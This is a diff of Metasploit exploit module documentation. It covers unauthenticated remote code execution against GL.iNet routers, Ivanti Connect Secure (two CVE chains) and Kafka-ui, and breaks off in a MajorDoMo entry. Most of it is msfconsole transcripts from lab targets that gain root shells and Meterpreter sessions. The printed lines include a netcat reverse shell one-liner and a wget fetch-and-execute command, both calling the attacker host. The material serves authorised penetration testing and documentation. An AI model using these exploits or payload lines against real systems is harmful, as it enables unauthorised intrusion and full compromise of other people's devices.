[*] Started reverse TCP handler on 192.168.8.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.8.1:80 can be exploited.
|
||||
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
|
||||
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI
|
||||
[*] Executing Unix Command for cmd/unix/reverse_netcat
|
||||
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000
|
||||
|
||||
pwd
|
||||
/
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
|
||||
uname -a
|
||||
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
|
||||
exit
|
||||
```
|
||||
### FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp
|
||||
```shell
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.8.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.8.1:80 can be exploited.
|
||||
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
|
||||
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e
|
||||
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
|
||||
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w
|
||||
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w
|
||||
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
|
||||
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000
|
||||
[*] Command Stager progress - 100.00% done (117/117 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.8.1
|
||||
OS : (Linux 4.1.17+)
|
||||
Architecture : mips
|
||||
BuildTuple : mips-linux-muslsf
|
||||
Meterpreter : mipsbe/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads when using the Linux Dropper target.
|
||||
@@ -96,7 +96,7 @@ msf6 exploit(linux/http/gravcms_exec) > run
|
||||
[*] Implanting payload via scheduler feature
|
||||
[+] Scheduler successfully created ! Wait for 1 minute...
|
||||
[*] Sending stage (39282 bytes) to 172.26.240.1
|
||||
[*] Cleaning up the the scheduler...
|
||||
[*] Cleaning up the scheduler...
|
||||
[+] The scheduler config successfully cleaned up!
|
||||
[*] Meterpreter session 1 opened (172.26.253.227:4444 -> 172.26.240.1:53912) at 2021-04-11 15:32:01 +0300
|
||||
|
||||
|
||||
@@ -0,0 +1,174 @@
|
||||
## Vulnerable Application
|
||||
This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection
|
||||
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
|
||||
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
|
||||
22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are
|
||||
also vulnerable.
|
||||
|
||||
## Testing
|
||||
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
|
||||
below steps are for HyperV, but it should be very similar to install on VMWare.
|
||||
|
||||
* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
|
||||
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
|
||||
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
|
||||
* Boot the VM and follow the console instructions to install the product.
|
||||
* After installation completes, you will have created an admin account and password. You can log into the admin
|
||||
web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set target 0`
|
||||
5. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
|
||||
6. `check`
|
||||
7. `exploit`
|
||||
|
||||
## Scenarios
|
||||
To support a broad set of available payloads, we support both a Linux target and a Unix Target. This allows for native
|
||||
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.
|
||||
|
||||
### Linux Target
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set RHOST 192.168.86.111
|
||||
RHOST => 192.168.86.111
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME DbFmtsbLwkUU no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
|
||||
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.111
|
||||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.111:27576) at 2024-01-17 10:16:52 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.111
|
||||
OS : (Linux 4.15.18.34-production)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Unix Target
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/unix/reverse_bash
|
||||
PAYLOAD => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
|
||||
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
|
||||
[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.111:27582) at 2024-01-17 10:19:19 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux localhost2 4.15.18.34-production #1 SMP Fri Jun 17 13:08:47 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
|
||||
pwd
|
||||
/data/var/cores
|
||||
cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
exit
|
||||
[*] 192.168.86.111 - Command shell session 2 closed.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) >
|
||||
```
|
||||
@@ -0,0 +1,189 @@
|
||||
## Vulnerable Application
|
||||
This module chains a server side request forgery (SSRF) vulnerability (CVE-2024-21893) and a command injection
|
||||
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
|
||||
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
|
||||
22.x are vulnerable, prior to the vendor patch released on Feb 1, 2024. It is unknown if unsupported versions
|
||||
8.x and below are also vulnerable.
|
||||
|
||||
## Testing
|
||||
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
|
||||
below steps are for HyperV, but it should be very similar to install on VMWare.
|
||||
|
||||
* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
|
||||
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
|
||||
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
|
||||
* Boot the VM and follow the console instructions to install the product.
|
||||
* After installation completes, you will have created an admin account and password. You can log into the admin
|
||||
web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
|
||||
5. `check`
|
||||
6. `exploit`
|
||||
|
||||
## Scenarios
|
||||
To support a broad set of available payloads, we support both the Linux and Unix platforms. This allows for native
|
||||
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.
|
||||
|
||||
### Automatic (Linux Payload)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set RHOST 192.168.86.111
|
||||
RHOST => 192.168.86.111
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[
|
||||
,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.me
|
||||
tasploit.com/docs/using-metasploit/basi
|
||||
cs/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connecti
|
||||
ons
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Acc
|
||||
epted: CURL, FTP, TFTP, TNFTP
|
||||
, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary
|
||||
after execution
|
||||
FETCH_FILENAME XMZdmHhNxYx no Name to use on remote system
|
||||
when storing payload; cannot
|
||||
contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving p
|
||||
ayload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving
|
||||
payload
|
||||
FETCH_URIPATH no Local URI to use for serving
|
||||
payload
|
||||
FETCH_WRITABLE_DI /tmp yes Remote writable dir to store
|
||||
R payload; cannot contain space
|
||||
s.
|
||||
LHOST eth0 yes The listen address (an interf
|
||||
ace may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
|
||||
[*] 192.168.86.111:443 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.111
|
||||
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.111:45734) at 2024-02-09 09:21:59 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.111
|
||||
OS : (Linux 4.15.18.34-production)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
meterpreter > exit
|
||||
[*] Shutting down session: 3
|
||||
|
||||
[*] 192.168.86.111 - Meterpreter session 3 closed. Reason: Died
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) >
|
||||
```
|
||||
|
||||
### Automatic (Unix Payload)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/unix/reverse_bash
|
||||
PAYLOAD => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[
|
||||
,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.me
|
||||
tasploit.com/docs/using-metasploit/basi
|
||||
cs/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connecti
|
||||
ons
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST eth0 yes The listen address (an interface may be s
|
||||
pecified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
|
||||
[*] 192.168.86.111:443 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.111:45736) at 2024-02-09 09:23:15 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
exit
|
||||
[*] 192.168.86.111 - Command shell session 4 closed.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) >
|
||||
```
|
||||
@@ -0,0 +1,224 @@
|
||||
## Vulnerable Application
|
||||
A command injection vulnerability exists in Kafka-ui between `v0.4.0` and `v0.7.1` allowing an attacker to inject
|
||||
and execute arbitrary shell commands via the `groovy` filter parameter at the `topic` section.
|
||||
|
||||
This module has been tested with Kali Linux 2023.11 on the following targets:
|
||||
* Kafka-ui v0.4.0 running on MacOS Docker Desktop
|
||||
* Kafka-ui v0.7.0 running on MacOS Docker Desktop
|
||||
* Kafka-ui v0.7.1 running on MacOS Docker Desktop
|
||||
|
||||
## Installation
|
||||
### Installation steps to install Kafka-ui
|
||||
* Install `Docker` on your preferred platform.
|
||||
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
|
||||
* Create a empty directory (`kafka-ui`).
|
||||
* Create the following `docker-compose.yaml` file in the directory. This will automatically create a Kafka cluster with Kafka-ui.
|
||||
* You can modify the `v0.7.0` in the `yaml` file to pull different versions.
|
||||
```yaml
|
||||
version: '2'
|
||||
|
||||
networks:
|
||||
rmoff_kafka:
|
||||
name: rmoff_kafka
|
||||
|
||||
services:
|
||||
zookeeper:
|
||||
image: confluentinc/cp-zookeeper:latest
|
||||
container_name: zookeeper
|
||||
networks:
|
||||
- rmoff_kafka
|
||||
environment:
|
||||
ZOOKEEPER_CLIENT_PORT: 2181
|
||||
ZOOKEEPER_TICK_TIME: 2000
|
||||
ports:
|
||||
- 22181:2181
|
||||
|
||||
kafka:
|
||||
image: confluentinc/cp-kafka:latest
|
||||
container_name: kafka
|
||||
networks:
|
||||
- rmoff_kafka
|
||||
depends_on:
|
||||
- zookeeper
|
||||
ports:
|
||||
- 29092:9092
|
||||
environment:
|
||||
KAFKA_BROKER_ID: 1
|
||||
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
|
||||
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
|
||||
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
|
||||
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
|
||||
KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
|
||||
|
||||
kafka-ui:
|
||||
container_name: kafka-ui
|
||||
image: provectuslabs/kafka-ui:v0.7.0
|
||||
networks:
|
||||
- rmoff_kafka
|
||||
ports:
|
||||
- 8080:8080
|
||||
depends_on:
|
||||
- kafka
|
||||
- zookeeper
|
||||
environment:
|
||||
KAFKA_CLUSTERS_0_NAME: local
|
||||
KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092
|
||||
KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181
|
||||
KAFKA_BROKERCONNECT: kafka:9092
|
||||
DYNAMIC_CONFIG_ENABLED: 'true'
|
||||
KAFKA_CLUSTERS_0_METRICS_PORT: 9997
|
||||
```
|
||||
|
||||
* Run following command `docker-compose up -d` to install and run the Kafka ui and cluster environment.
|
||||
* Your Kafka ui should be accessible on `http://localhost:8080` with an active Kafka cluster running.
|
||||
* You can bring down the environment for a fresh start with the command `docker-compose down --volumes`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [x] Start `msfconsole`
|
||||
- [x] `use exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251`
|
||||
- [x] `set rhosts <ip-target>`
|
||||
- [x] `set lhost <ip-attacker>`
|
||||
- [x] `set target <0=Unix/Linux Command>`
|
||||
- [x] `exploit`
|
||||
|
||||
you should get a `shell` or `Meterpreter`.
|
||||
|
||||
```shell
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > info
|
||||
|
||||
Name: Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.
|
||||
Module: exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251
|
||||
Platform: Unix, Linux
|
||||
Arch: cmd, x64, x86
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2023-09-27
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
BobTheShopLifter and Thingstad
|
||||
|
||||
Module side effects:
|
||||
ioc-in-logs
|
||||
artifacts-on-disk
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Unix/Linux Command
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine
|
||||
or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing
|
||||
an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter
|
||||
at the `topic` section.
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2023-52251
|
||||
https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251
|
||||
https://github.com/BobTheShoplifter/CVE-2023-52251-POC
|
||||
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
|
||||
## Options
|
||||
No specific options for this module.
|
||||
|
||||
## Scenarios
|
||||
### Kafka-ui v0.7.0 Unix/Linux Command - cmd/unix/reverse_netcat
|
||||
```shell
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit
|
||||
|
||||
[+] mkfifo /tmp/cpzbj; nc 192.168.201.8 4444 0</tmp/cpzbj | /bin/sh >/tmp/cpzbj 2>&1; rm /tmp/cpzbj
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.25:8080 can be exploited.
|
||||
[+] The target is vulnerable. Kafka-ui version: 0.7.0
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_netcat
|
||||
[*] Searching for active Kafka cluster...
|
||||
[+] Active Kafka cluster found: local
|
||||
[*] Creating a new topic...
|
||||
[+] New topic created: 9nQbg
|
||||
[*] Trigger Groovy script payload execution by creating a message...
|
||||
[*] Removing tracks...
|
||||
[+] Successfully deleted topic 9nQbg.
|
||||
[*] Command shell session 28 opened (192.168.201.8:4444 -> 192.168.201.25:49429) at 2024-01-20 18:44:52 +0000
|
||||
|
||||
uname -a
|
||||
Linux 889a0c5cec88 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 Linux
|
||||
id
|
||||
uid=100(kafkaui) gid=101(kafkaui) groups=101(kafkaui)
|
||||
```
|
||||
### Kafka-ui v0.7.0 Unix/Linux Command - cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
```shell
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit
|
||||
|
||||
[*] Command to run on remote host: wget -qO /tmp/LfMsMsUxX http://192.168.201.8:1981/Qw3rZo-yo18aYrvy_AQU-w; chmod +x /tmp/LfMsMsUxX; /tmp/LfMsMsUxX &
|
||||
[*] Fetch Handler listening on 192.168.201.8:1981
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Qw3rZo-yo18aYrvy_AQU-w
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.25:8080 can be exploited.
|
||||
[+] The target appears to be vulnerable. Kafka-ui version: 0.7.0
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
[*] Searching for active Kafka cluster...
|
||||
[+] Active Kafka cluster found: local
|
||||
[*] Creating a new topic...
|
||||
[+] New topic created: D9kH687
|
||||
[*] Trigger Groovy script payload execution by creating a message...
|
||||
[*] Removing tracks...
|
||||
[*] Client 192.168.201.25 requested /Qw3rZo-yo18aYrvy_AQU-w
|
||||
[*] Sending payload to 192.168.201.25 (Wget)
|
||||
[+] Successfully deleted topic D9kH687.
|
||||
[*] Meterpreter session 29 opened (192.168.201.8:4444 -> 192.168.201.25:50355) at 2024-01-23 08:47:41 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.30.0.4
|
||||
OS : (Linux 6.4.16-linuxkit)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: kafkaui
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -0,0 +1,129 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a command injection vulnerability in MajorDoMo versions before 0662e5e. To set up a test environment:
|
||||
|
||||
1. Download MajorDoMo by executing the following command:
|
||||
```
|
||||
curl -s https://raw.githubusercontent.com/sergejey/majordomo-rpi-install/main/install.sh | bash && bash ~/majordomo-rpi-install/install.sh
|
||||
```
|
||||
2. Follow the installation script instructions to install MajorDoMo on a Raspberry Pi or a Linux-based server.
|
||||
3. Ensure that the network interface is active and properly configured during installation.
|
||||
4. Replace `/var/www/html/modules/thumb/thumb.php` with
|
||||
https://raw.githubusercontent.com/sergejey/majordomo/1167ca408a911c98937000516588c12cc33a1ab7/modules/thumb/thumb.php.
|
||||
5. After installation, verify that the MajorDoMo service is operational and accessible over the network.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install MajorDoMo with a version prior to 0662e5e.
|
||||
2. Start msfconsole in your Metasploit environment.
